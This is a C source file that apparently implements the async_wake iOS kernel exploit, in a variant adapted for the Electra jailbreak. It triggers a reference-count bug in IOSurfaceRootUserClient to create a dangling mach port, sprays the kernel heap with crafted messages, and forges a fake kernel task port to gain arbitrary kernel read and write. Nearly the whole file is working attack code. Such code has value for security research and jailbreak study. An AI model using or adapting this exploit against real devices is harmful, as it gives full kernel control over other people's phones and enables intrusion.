async_wake.c 26 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #import <sys/mount.h>
  6. #import <spawn.h>
  7. #import <copyfile.h>
  8. #import <mach-o/dyld.h>
  9. #import <sys/types.h>
  10. #import <sys/stat.h>
  11. #import <sys/utsname.h>
  12. #include <mach/mach.h>
  13. #include <pthread.h>
  14. #include <CoreFoundation/CoreFoundation.h>
  15. #include "async_wake.h"
  16. #include "kmem.h"
  17. #include "find_port.h"
  18. #include "kutils.h"
  19. #include "symbols.h"
  20. #include "early_kalloc.h"
  21. #include "kcall.h"
  22. #include "kdbg.h"
  23. // various prototypes and structure definitions for missing iOS headers:
  24. kern_return_t mach_vm_read(
  25. vm_map_t target_task,
  26. mach_vm_address_t address,
  27. mach_vm_size_t size,
  28. vm_offset_t *data,
  29. mach_msg_type_number_t *dataCnt);
  30. /****** IOKit/IOKitLib.h *****/
  31. typedef mach_port_t io_service_t;
  32. typedef mach_port_t io_connect_t;
  33. extern const mach_port_t kIOMasterPortDefault;
  34. #define IO_OBJECT_NULL (0)
  35. kern_return_t
  36. IOConnectCallAsyncMethod(
  37. mach_port_t connection,
  38. uint32_t selector,
  39. mach_port_t wakePort,
  40. uint64_t* reference,
  41. uint32_t referenceCnt,
  42. const uint64_t* input,
  43. uint32_t inputCnt,
  44. const void* inputStruct,
  45. size_t inputStructCnt,
  46. uint64_t* output,
  47. uint32_t* outputCnt,
  48. void* outputStruct,
  49. size_t* outputStructCntP);
  50. kern_return_t
  51. IOConnectCallMethod(
  52. mach_port_t connection,
  53. uint32_t selector,
  54. const uint64_t* input,
  55. uint32_t inputCnt,
  56. const void* inputStruct,
  57. size_t inputStructCnt,
  58. uint64_t* output,
  59. uint32_t* outputCnt,
  60. void* outputStruct,
  61. size_t* outputStructCntP);
  62. io_service_t
  63. IOServiceGetMatchingService(
  64. mach_port_t _masterPort,
  65. CFDictionaryRef matching);
  66. CFMutableDictionaryRef
  67. IOServiceMatching(
  68. const char* name);
  69. kern_return_t
  70. IOServiceOpen(
  71. io_service_t service,
  72. task_port_t owningTask,
  73. uint32_t type,
  74. io_connect_t* connect );
  75. /******** end extra headers ***************/
  76. mach_port_t user_client = MACH_PORT_NULL;
  77. // make_dangling will drop an extra reference on port
  78. // this is the actual bug:
  79. void make_dangling(mach_port_t port) {
  80. kern_return_t err;
  81. uint64_t inputScalar[16];
  82. uint32_t inputScalarCnt = 0;
  83. char inputStruct[4096];
  84. size_t inputStructCnt = 0x18;
  85. uint64_t* ivals = (uint64_t*)inputStruct;
  86. ivals[0] = 1;
  87. ivals[1] = 2;
  88. ivals[2] = 3;
  89. uint64_t outputScalar[16];
  90. uint32_t outputScalarCnt = 0;
  91. char outputStruct[4096];
  92. size_t outputStructCnt = 0;
  93. mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
  94. uint64_t reference[8] = {0};
  95. uint32_t referenceCnt = 1;
  96. for (int i = 0; i < 2; i++) {
  97. err = IOConnectCallAsyncMethod(
  98. user_client,
  99. 17, // s_set_surface_notify
  100. port,
  101. reference,
  102. referenceCnt,
  103. inputScalar,
  104. inputScalarCnt,
  105. inputStruct,
  106. inputStructCnt,
  107. outputScalar,
  108. &outputScalarCnt,
  109. outputStruct,
  110. &outputStructCnt);
  111. printf("%x\n", err);
  112. };
  113. err = IOConnectCallMethod(
  114. user_client,
  115. 18, // s_remove_surface_notify
  116. inputScalar,
  117. inputScalarCnt,
  118. inputStruct,
  119. inputStructCnt,
  120. outputScalar,
  121. &outputScalarCnt,
  122. outputStruct,
  123. &outputStructCnt);
  124. printf("%x\n", err);
  125. }
  126. void prepare_user_client() {
  127. kern_return_t err;
  128. io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
  129. if (service == IO_OBJECT_NULL){
  130. printf(" [-] unable to find service\n");
  131. exit(EXIT_FAILURE);
  132. }
  133. err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
  134. if (err != KERN_SUCCESS){
  135. printf(" [-] unable to get user client connection\n");
  136. exit(EXIT_FAILURE);
  137. }
  138. printf("got user client: 0x%x\n", user_client);
  139. }
  140. mach_port_t* prepare_ports(int n_ports) {
  141. mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
  142. for (int i = 0; i < n_ports; i++) {
  143. kern_return_t err;
  144. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
  145. if (err != KERN_SUCCESS) {
  146. printf(" [-] failed to allocate port\n");
  147. exit(EXIT_FAILURE);
  148. }
  149. }
  150. return ports;
  151. }
  152. void free_ports(mach_port_t* ports, int n_ports) {
  153. for (int i = 0; i < n_ports; i++) {
  154. mach_port_t port = ports[i];
  155. if (port == MACH_PORT_NULL) {
  156. continue;
  157. }
  158. mach_port_destroy(mach_task_self(), port);
  159. }
  160. }
  161. struct simple_msg {
  162. mach_msg_header_t hdr;
  163. char buf[0];
  164. };
  165. mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size) {
  166. // allocate a port to send the messages to
  167. mach_port_t q = MACH_PORT_NULL;
  168. kern_return_t err;
  169. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
  170. if (err != KERN_SUCCESS) {
  171. printf(" [-] failed to allocate port\n");
  172. exit(EXIT_FAILURE);
  173. }
  174. mach_port_limits_t limits = {0};
  175. limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
  176. err = mach_port_set_attributes(mach_task_self(),
  177. q,
  178. MACH_PORT_LIMITS_INFO,
  179. (mach_port_info_t)&limits,
  180. MACH_PORT_LIMITS_INFO_COUNT);
  181. if (err != KERN_SUCCESS) {
  182. printf(" [-] failed to increase queue limit\n");
  183. exit(EXIT_FAILURE);
  184. }
  185. mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
  186. struct simple_msg* msg = malloc(msg_size);
  187. memset(msg, 0, sizeof(struct simple_msg));
  188. memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
  189. for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
  190. msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
  191. msg->hdr.msgh_size = msg_size;
  192. msg->hdr.msgh_remote_port = q;
  193. msg->hdr.msgh_local_port = MACH_PORT_NULL;
  194. msg->hdr.msgh_id = 0x41414142;
  195. err = mach_msg(&msg->hdr,
  196. MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
  197. msg_size,
  198. 0,
  199. MACH_PORT_NULL,
  200. MACH_MSG_TIMEOUT_NONE,
  201. MACH_PORT_NULL);
  202. if (err != KERN_SUCCESS) {
  203. printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
  204. exit(EXIT_FAILURE);
  205. }
  206. }
  207. return q;
  208. }
  209. /*
  210. for the given mach message size, how big will the ipc_kmsg structure be?
  211. This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
  212. The size is overallocated so that if the message was sent from a 32-bit process
  213. they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
  214. means that for each descriptor they would need an extra 4 bytes of space for the
  215. larger pointer. Except at this point they have no idea what's in the message
  216. so they assume the worst case for all messages. This leads to approximately a 30%
  217. overhead in the allocation size.
  218. The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
  219. When the message is actually written into this buffer it's aligned to the end
  220. */
  221. int message_size_for_kalloc_size(int kalloc_size) {
  222. return ((3*kalloc_size)/4) - 0x74;
  223. }
  224. /*
  225. build a fake task port object to get an arbitrary read
  226. I am basing this on the techniques used in Yalu 10.2 released by
  227. @qwertyoruiopz and @marcograss (and documented by Johnathan Levin
  228. in *OS Internals Volume III)
  229. There are a few difference here. We have a kernel memory disclosure bug so
  230. we know the address the dangling port pointer points to. This means we don't need
  231. to point the task to userspace to get a "what+where" primitive since we can just
  232. put whatever recursive structure we require in the object which will replace
  233. the free'd port.
  234. We can also leverage the fact that we have a dangling mach port pointer
  235. to also write to a small area of the dangling port (via mach_port_set_context)
  236. If we build the replacement object (with the fake struct task)
  237. correctly we can set it up such that by calling mach_port_set_context we can control
  238. where the arbitrary read will read from.
  239. this same method is used again a second time once the arbitrary read works so that the vm_map
  240. and receiver can be set correctly turning this into a fake kernel task port.
  241. */
  242. uint32_t IO_BITS_ACTIVE = 0x80000000;
  243. uint32_t IKOT_TASK_ELECTRA = 2;
  244. uint32_t IKOT_NONE = 0;
  245. uint64_t second_port_initial_context = 0x1024204110244201;
  246. uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) {
  247. uint8_t* body = malloc(message_body_size);
  248. memset(body, 0, message_body_size);
  249. uint32_t port_page_offset = dangling_port_address & 0xfff;
  250. // structure required for the first fake port:
  251. uint8_t* fake_port = body + (port_page_offset - message_body_offset);
  252. *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK_ELECTRA;
  253. *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
  254. *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
  255. *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
  256. *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
  257. *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
  258. // set the kobject pointer such that task->bsd_info reads from ip_context:
  259. int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
  260. uint64_t fake_task_address = dangling_port_address + fake_task_offset;
  261. *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
  262. // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
  263. // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
  264. if (fake_port + fake_task_offset < body) {
  265. printf("the maths is wrong somewhere, fake task doesn't fit in message\n");
  266. sleep(10);
  267. exit(EXIT_FAILURE);
  268. }
  269. uint8_t* fake_task = fake_port + fake_task_offset;
  270. // set the ref_count field of the fake task:
  271. *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
  272. // make sure the task is active
  273. *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
  274. // set the vm_map of the fake task:
  275. *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
  276. // set the task lock type of the fake task's lock:
  277. *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
  278. return body;
  279. }
  280. void convert_port_to_task_port(mach_port_t port, uint64_t space, uint64_t task_kaddr) {
  281. // now make the changes to the port object to make it a task port:
  282. uint64_t port_kaddr = find_port_address_electra(port, MACH_MSG_TYPE_MAKE_SEND);
  283. wk32_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK_ELECTRA);
  284. wk32_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
  285. wk32_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
  286. wk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
  287. wk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), task_kaddr);
  288. // swap our receive right for a send right:
  289. uint64_t task_port_addr = task_self_addr();
  290. uint64_t task_addr = rk64_electra(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  291. uint64_t itk_space = rk64_electra(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
  292. uint64_t is_table = rk64_electra(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
  293. uint32_t port_index = port >> 8;
  294. const int sizeof_ipc_entry_t = 0x18;
  295. uint32_t bits = rk32_electra(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
  296. #define IE_BITS_SEND (1<<16)
  297. #define IE_BITS_RECEIVE (1<<17)
  298. bits &= (~IE_BITS_RECEIVE);
  299. bits |= IE_BITS_SEND;
  300. wk32_electra(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
  301. }
  302. void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr) {
  303. convert_port_to_task_port(port, ipc_space_kernel(), task_kaddr);
  304. }
  305. /*
  306. * the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
  307. *
  308. * use that tfp0 to build a safer one such that we can safely free everything this process created and exit
  309. * without leaking memory
  310. */
  311. mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space) {
  312. kern_return_t err;
  313. mach_port_t tfp0 = MACH_PORT_NULL;
  314. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
  315. if (err != KERN_SUCCESS) {
  316. printf("unable to allocate port\n");
  317. }
  318. // build a fake struct task for the kernel task:
  319. //uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
  320. uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
  321. printf("fake_kernel_task_kaddr: %llx\n", fake_kernel_task_kaddr);
  322. void* fake_kernel_task = malloc(0x1000);
  323. memset(fake_kernel_task, 0, 0x1000);
  324. *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
  325. *(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
  326. *(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
  327. *(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
  328. kmemcpy(fake_kernel_task_kaddr, (uint64_t) fake_kernel_task, 0x1000);
  329. free(fake_kernel_task);
  330. uint32_t fake_task_refs = rk32_electra(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
  331. printf("read fake_task_refs: %x\n", fake_task_refs);
  332. if (fake_task_refs != 0xd00d) {
  333. printf("read back value didn't match...\n");
  334. }
  335. convert_port_to_task_port(tfp0, space, fake_kernel_task_kaddr);
  336. printf("about to test new tfp0\n");
  337. vm_offset_t data_out = 0;
  338. mach_msg_type_number_t out_size = 0;
  339. err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
  340. if (err != KERN_SUCCESS) {
  341. printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
  342. sleep(3);
  343. exit(EXIT_FAILURE);
  344. }
  345. printf("kernel read via second tfp0 port worked?\n");
  346. printf("0x%016llx\n", *(uint64_t*)data_out);
  347. printf("0x%016llx\n", *(uint64_t*)(data_out+8));
  348. printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
  349. printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
  350. return tfp0;
  351. }
  352. // task_self_addr points to the struct ipc_port for our task port
  353. uint64_t find_kernel_vm_map(uint64_t task_self_addr) {
  354. uint64_t struct_task = rk64_electra(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  355. while (struct_task != 0) {
  356. uint64_t bsd_info = rk64_electra(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
  357. uint32_t pid = rk32_electra(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
  358. if (pid == 0) {
  359. uint64_t vm_map = rk64_electra(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
  360. return vm_map;
  361. }
  362. struct_task = rk64_electra(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
  363. }
  364. printf("unable to find kernel task...\n");
  365. sleep(10);
  366. exit(EXIT_FAILURE);
  367. }
  368. const uint64_t context_magic = 0x1214161800000000; // a random constant
  369. const uint64_t initial_context = 0x1020304015253545; // another random constant
  370. mach_port_t get_kernel_memory_rw() {
  371. // offsets are required before we get r/w:
  372. offsets_init();
  373. kern_return_t err;
  374. uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
  375. uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
  376. uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
  377. printf("message size for kalloc.4096: %d\n", message_size_for_kalloc_size(4096));
  378. // Creates a user client
  379. prepare_user_client();
  380. uint64_t task_self = task_self_addr();
  381. if (task_self == 0) {
  382. printf("unable to disclose address of our task port\n");
  383. sleep(10);
  384. exit(EXIT_FAILURE);
  385. }
  386. printf("our task port is at 0x%llx\n", task_self);
  387. int n_pre_ports = 100000; //8000
  388. mach_port_t* pre_ports = prepare_ports(n_pre_ports);
  389. // make a bunch of smaller allocations in a different zone which can be collected later:
  390. uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
  391. uint8_t* smaller_body = malloc(smaller_body_size);
  392. memset(smaller_body, 'C', smaller_body_size);
  393. const int n_smaller_ports = 600; // 150 MB
  394. mach_port_t smaller_ports[n_smaller_ports];
  395. for (int i = 0; i < n_smaller_ports; i++) {
  396. smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
  397. }
  398. // now find a suitable port
  399. // we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
  400. // completely control all the data:
  401. // specifically we're targetting kalloc.4096 but the message body will only span
  402. // xxx448 -> xxxfbc so we want to make sure the port we target is within that range
  403. // actually, since we're also putting a fake task struct here and want
  404. // the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
  405. int ports_to_test = 100;
  406. int base = n_pre_ports - 1000;
  407. mach_port_t first_port = MACH_PORT_NULL;
  408. uint64_t first_port_address = 0;
  409. for (int i = 0; i < ports_to_test; i++) {
  410. mach_port_t candidate_port = pre_ports[base+i];
  411. uint64_t candidate_address = find_port_address_electra(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
  412. uint64_t page_offset = candidate_address & 0xfff;
  413. if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
  414. printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address);
  415. pre_ports[base+i] = MACH_PORT_NULL;
  416. first_port = candidate_port;
  417. first_port_address = candidate_address;
  418. break;
  419. }
  420. }
  421. if (first_port == MACH_PORT_NULL) {
  422. printf("unable to find a candidate port with a suitable page offset\n");
  423. exit(EXIT_FAILURE);
  424. }
  425. uint64_t* context_ptr = NULL;
  426. uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
  427. printf("replacer_body_size: 0x%x\n", replacer_body_size);
  428. printf("message_body_offset: 0x%x\n", message_body_offset);
  429. make_dangling(first_port);
  430. free_ports(pre_ports, n_pre_ports);
  431. // free the smaller ports, they will get gc'd later:
  432. for (int i = 0; i < n_smaller_ports; i++) {
  433. mach_port_destroy(mach_task_self(), smaller_ports[i]);
  434. }
  435. // now try to get that zone collected and reallocated as something controllable (kalloc.4096):
  436. const int replacer_ports_limit = 200; // about 200 MB
  437. mach_port_t replacer_ports[replacer_ports_limit];
  438. memset(replacer_ports, 0, sizeof(replacer_ports));
  439. uint32_t i;
  440. for (i = 0; i < replacer_ports_limit; i++) {
  441. uint64_t context_val = (context_magic)|i;
  442. *context_ptr = context_val;
  443. replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
  444. // we want the GC to actually finish, so go slow...
  445. pthread_yield_np();
  446. usleep(10000);
  447. if (i%20 == 0) {
  448. printf("%d\n", i);
  449. }
  450. }
  451. // find out which replacer port it was
  452. mach_port_context_t replacer_port_number = 0;
  453. err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
  454. if (err != KERN_SUCCESS) {
  455. printf("unable to get context: %d %s\n", err, mach_error_string(err));
  456. sleep(3);
  457. exit(EXIT_FAILURE);
  458. }
  459. replacer_port_number &= 0xffffffff;
  460. if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
  461. printf("suspicious context value, something's wrong %lx\n", replacer_port_number);
  462. sleep(3);
  463. exit(EXIT_FAILURE);
  464. }
  465. printf("got replaced with replacer port %ld\n", replacer_port_number);
  466. prepare_rk_via_kmem_read_port(first_port);
  467. uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
  468. printf("found kernel vm_map: 0x%llx\n", kernel_vm_map);
  469. // now free first replacer and put a fake kernel task port there
  470. // we need to do this becase the first time around we don't know the address
  471. // of ipc_space_kernel which means we can't fake a port owned by the kernel
  472. free(replacer_message_body);
  473. replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
  474. // free the first replacer
  475. mach_port_t replacer_port = replacer_ports[replacer_port_number];
  476. replacer_ports[replacer_port_number] = MACH_PORT_NULL;
  477. mach_port_destroy(mach_task_self(), replacer_port);
  478. const int n_second_replacer_ports = 10;
  479. mach_port_t second_replacer_ports[n_second_replacer_ports];
  480. for (int i = 0; i < n_second_replacer_ports; i++) {
  481. *context_ptr = i;
  482. second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
  483. }
  484. // hopefully that worked the second time too!
  485. // check the context:
  486. replacer_port_number = 0;
  487. err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
  488. if (err != KERN_SUCCESS) {
  489. printf("unable to get context: %d %s\n", err, mach_error_string(err));
  490. sleep(3);
  491. exit(EXIT_FAILURE);
  492. }
  493. replacer_port_number &= 0xffffffff;
  494. if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
  495. printf("suspicious context value, something's wrong %lx\n", replacer_port_number);
  496. sleep(3);
  497. exit(EXIT_FAILURE);
  498. }
  499. printf("second time got replaced with replacer port %ld\n", replacer_port_number);
  500. // clear up the original replacer ports:
  501. for (int i = 0; i < replacer_ports_limit; i++) {
  502. mach_port_destroy(mach_task_self(), replacer_ports[i]);
  503. }
  504. // then clear up the second replacer ports (apart from the one in use)
  505. mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
  506. second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
  507. for (int i = 0; i < n_second_replacer_ports; i++) {
  508. mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
  509. }
  510. printf("will try to read from second port (fake kernel)\n");
  511. // try to read some kernel memory using the second port:
  512. vm_offset_t data_out = 0;
  513. mach_msg_type_number_t out_size = 0;
  514. err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
  515. if (err != KERN_SUCCESS) {
  516. printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
  517. sleep(3);
  518. exit(EXIT_FAILURE);
  519. }
  520. printf("kernel read via fake kernel task port worked?\n");
  521. printf("0x%016llx\n", *(uint64_t*)data_out);
  522. printf("0x%016llx\n", *(uint64_t*)(data_out+8));
  523. printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
  524. printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
  525. prepare_rwk_via_tfp0(first_port);
  526. printf("about to build safer tfp0\n");
  527. //early_kalloc(0x10000);
  528. //return 0;
  529. mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
  530. prepare_rwk_via_tfp0(safer_tfp0);
  531. printf("built safer tfp0\n");
  532. printf("about to clear up\n");
  533. // can now clean everything up
  534. wk32_electra(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
  535. wk64_electra(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
  536. // first port will soon point to freed memory, so neuter it:
  537. uint64_t task_port_addr = task_self_addr();
  538. uint64_t task_addr = rk64_electra(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  539. uint64_t itk_space = rk64_electra(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
  540. uint64_t is_table = rk64_electra(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
  541. // mach_ports_register(mach_task_self(), &user_client, 1);
  542. // uint64_t IOSurfaceRootUserClient_port = rk64_electra(task_addr + 0x2e8 + 0x8);
  543. // uint64_t IOSurfaceRootUserClient_addr = rk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  544. // uint64_t IOSurfaceRootUserClient_vtab = rk64_electra(IOSurfaceRootUserClient_addr);
  545. //
  546. // printf("IOSurfaceRootUserClient_vtab: %016llx\n", IOSurfaceRootUserClient_vtab);
  547. // printf("IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64_electra(IOSurfaceRootUserClient_vtab));
  548. // printf("starting assembly of IOSurfaceRootUserClient_vtab[0]: %016llx\n", rk64(rk64_electra(IOSurfaceRootUserClient_vtab)));
  549. //
  550. //// Use IDA to find the first occurance of the sequence of bytes from "starting assembly..." (on 6+ it is a9bf7bfd14000fe3 for IDA)
  551. //// If you don't have IDA, use a hex editor to find the offset of "e30f0014fd7bbfa9", then use `joker -a <offset> kernel`, and use the address returned as the value (again, not sure if asm is the same)
  552. //#define FIRST_VTAB_LOCATION 0xfffffff0065e19e4
  553. //
  554. // uint64_t slide = rk64_electra(IOSurfaceRootUserClient_vtab)-FIRST_VTAB_LOCATION;
  555. // printf("slide is maybe %016llx\n", slide);
  556. // printf("ooh? %08x\n", rk32_electra(slide + 0xFFFFFFF007004000));
  557. //
  558. // printf("ooh? %s\n", (char*)rk64_electra(slide + 0xFFFFFFF00758C000));
  559. uint32_t port_index = first_port >> 8;
  560. const int sizeof_ipc_entry_t = 0x18;
  561. // remove all rights
  562. wk32_electra(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
  563. // clear the ipc_port port too
  564. wk64_electra(is_table + (port_index * sizeof_ipc_entry_t), 0);
  565. mach_port_destroy(mach_task_self(), second_replacement_port);
  566. printf("cleared up\n");
  567. return safer_tfp0;
  568. }
  569. kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
  570. mach_port_t get_tfp0(mach_port_t*uc) {
  571. mach_port_t tfp0 = get_kernel_memory_rw();
  572. printf("tfp0: %x\n", tfp0);
  573. *uc = user_client;
  574. // if (probably_have_correct_symbols()) {
  575. // printf("have symbols for this device, testing the kernel debugger...\n");
  576. // test_kdbg();
  577. // }
  578. return tfp0;
  579. }